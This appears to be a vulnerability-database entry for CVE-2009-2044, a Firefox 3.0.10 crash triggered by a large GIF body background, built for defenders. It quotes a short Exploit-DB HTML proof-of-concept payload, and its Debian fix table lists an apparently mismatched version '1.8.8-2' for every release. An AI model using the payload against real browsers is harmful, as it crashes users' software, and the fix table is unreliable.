CVE-2009-2044
Description
Mozilla Firefox 3.0.10 and earlier on Linux allows remote attackers to cause a denial of service (application crash) via a URI for a large GIF image in the BACKGROUND attribute of a BODY element.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mozilla Firefox 3.0.x - Large '.GIF' File Background Denial of Service
source: https://www.securityfocus.com/bid/35280/info
Mozilla Firefox is prone to a remote denial-of-service vulnerability.
Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.
Firefox 3.0.10 is affected; other versions may also be vulnerable.
<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.8.8-2 |
| sid | Fixed | 1.8.8-2 |
| forky | Fixed | 1.8.8-2 |
| bullseye | Fixed | 1.8.8-2 |
| bookworm | Fixed | 1.8.8-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.